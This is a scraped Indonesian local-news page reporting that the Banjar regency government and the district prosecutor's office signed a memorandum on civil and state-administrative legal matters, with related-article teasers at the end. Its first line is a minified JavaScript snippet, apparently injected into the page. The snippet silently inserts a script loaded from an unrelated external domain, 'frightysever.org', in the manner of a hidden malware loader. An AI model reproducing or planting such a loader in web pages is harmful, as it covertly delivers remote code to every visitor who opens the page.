(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA– Pemkab Banjar lakukan penandatanganan nota kesepakatan dengan Kejaksaan Negeri Kabupaten Banjar tentang Penanganan Masalah Hukum Bidang Perdata dan Tata Usaha Negara, di Aula Barakat Martapura, Senin (21/3/2022).
Penandatanganan nota kesepakatan (MoU) ini dilakukan oleh Bupati Banjar H Saidi Mansyur bersama Kajari Kabupaten Banjar Muhammad Bardan, disaksikan Wakil Bupati Banjar Habib Idrus Al Habsyie dan Sekda Banjar HM Hilman.
Saidi Mansyur menjelaskan maksud diadakannya nota kesepakatan ini adalah untuk menangani/menyelesaikan masalah hukum di bidang Perdata dan Tata Usaha Negara yang dihadapi Pemerintah Kabupaten Banjar baik secara litigasi dan non litigasi.
“Dengan adanya Nota Kesepakatan ini, semoga menjadi topang yang kokoh dalam pelaksanaan kordinasi dan efektifitas tugas dan fungsi Pemerintah Kabupaten Banjar dan Kejaksaan Negeri Kabupaten Banjar dalam penyelesaian masalah hukum di bidang perdata dan Tata Usaha Negara,”jelas Saidi.
Baca juga : Warga Protes ke DPRD, Perusahaan Garap Lahan Sawit di Desa Jambu Baru Batola
Saidi berharap koordinasi, komunikasi dan sinergitas yang telah terjalin baik selama ini antara Pemerintah Kabupaten Banjar dan Kejaksaan Negeri Kabupaten Banjar tetap terus terjaga dan semakin meningkat.
“Melalui Nota Kesepakatan ini, menjadi dukungan tambahan dalam menyelenggarakan pembangunan dan memberikan pelayanan terbaik kepada masyarakat guna mewujudkan Kabupaten Banjar yang Maju, Mandiri dan Agamis,” harapnya.
Kepala Kejaksaan Negeri Kabupaten Banjar Muhammad Bardan menjelaskan biasanya kalau MoU harus ditindaklanjuti dengan Surat Kuasa Khusus (SKK).
“Jadi kalau ada permasalahannya dibuat telaahan nanti diterbitkan SKK dari Bupati kepada Kajari tergantung permasalahannya, tugas dan fungsinya ada 5 yaitu Bantuan hukum, pelayanan hukum, penegakkan hukum, pertimbangan hukum dan kekuatan hukum lainnya sesuai yang mana mau dibuatkan SKK,” paparnya.
Ditambahkannya, nota kesepakatan ini merupakan induk yang menjadi kerangka dasar bagi kerja sama antara para pihak dalam hal penanganan masalah hukum di bidang perdata dan tata usaha negara. (Kanalkalimantan.com/rls)
Reporter : rls
Editor : cell
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.